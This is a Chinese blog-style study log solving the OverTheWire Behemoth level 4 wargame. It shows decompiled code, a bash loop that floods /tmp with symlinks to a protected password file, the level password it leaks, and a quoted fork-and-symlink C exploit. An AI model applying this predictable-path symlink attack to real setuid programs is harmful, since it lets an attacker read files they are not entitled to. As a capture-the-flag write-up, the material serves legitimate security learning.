170906 WarGames-Behemoth(4)

1625-5 王子昂 总结《2017年9月6日》 【连续第338天总结】
A. WarGames-Behemoth
B.

Level 4
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __pid_t v3; // ST1C_4@1
  int result; // eax@7
  int v5; // edx@7
  FILE *v6; // [sp+20h] [bp-20h]@1
  int v7; // [sp+24h] [bp-1Ch]@5
  int v8; // [sp+28h] [bp-18h]@1
  int v9; // [sp+3Ch] [bp-4h]@1

  v9 = *MK_FP(__GS__, 20);
  v3 = getpid();
  sprintf((char *)&v8, "/tmp/%d", v3);
  v6 = fopen((const char *)&v8, "r");
  if ( v6 )
  {
    sleep(1u);
    puts("Finished sleeping, fgetcing");
    while ( 1 )
    {
      v7 = fgetc(v6);
      if ( v7 == -1 )
        break;
      putchar(v7);
    }
    fclose(v6);
  }
  else
  {
    puts("PID not found!");
  }
  result = 0;
  v5 = *MK_FP(__GS__, 20) ^ v9;
  return result;
}

程序取得pid后尝试打开tmp文件夹下的pid文件,找到则读取内容并显示,未找到则返回not found

很简单啊,你想要文件我给你就是了呗~

查询可知pid取值范围为0-32767,其中0-299为daemon守护进程
本程序非守护进程,因此pid取值范围为300-32767

执行脚本在tmp目录下批量创建指向密码的符号链接文件即可:

behemoth4@behemoth:/tmp$ for i in {300..32767}; do ln -s /etc/behemoth_pass/behemoth5 $i ; done
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
^C
behemoth4@behemoth:/tmp$ /behemoth/behemoth4
Finished sleeping, fgetcing
aizeeshing

fork:retry: No child processes估计是资源不够之类的提示,稍微等一会儿创建了一两万就差不多了,一次没中可以多运行几次嘛~
中断以后执行,一次就得到了pw

除此以外,还可以通过少量创建pid文件后,大量重复执行该程序来爆破
以及最优雅的方法:
通过fork()函数复制进程,父进程得到子进程的pid,创建对应的符号链接文件后执行子进程即可
下源码引自http://blog.csdn.net/shuimuyq/article/details/50724667

/** hacker.c */  

#include <stdio.h>  
#include <unistd.h>  
#include <fcntl.h>  
#include <string.h>  
#include <stdlib.h>  

int main(int argc, char *argv[])  
{  
        pid_t pid;  

        pid = fork();  //fork在两个进程中分别返回,子进程返回0,父进程返回新建新进程的pid
        if (pid > 0){  //父进程创建以子进程Pid为名的符号链接
                char cmd[64] = {0};  
                snprintf(cmd, 64, "ln -sf /etc/behemoth_pass/behemoth5 /tmp/%d", pid);  
                system(cmd);  
        } else if (pid == 0) {  //子进程执行behemoth4程序
                sleep(1);  

                execle(argv[1], argv[1], NULL, NULL);  
        }  

        return 0;  
} 

C. 明日计划
behemoth5

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值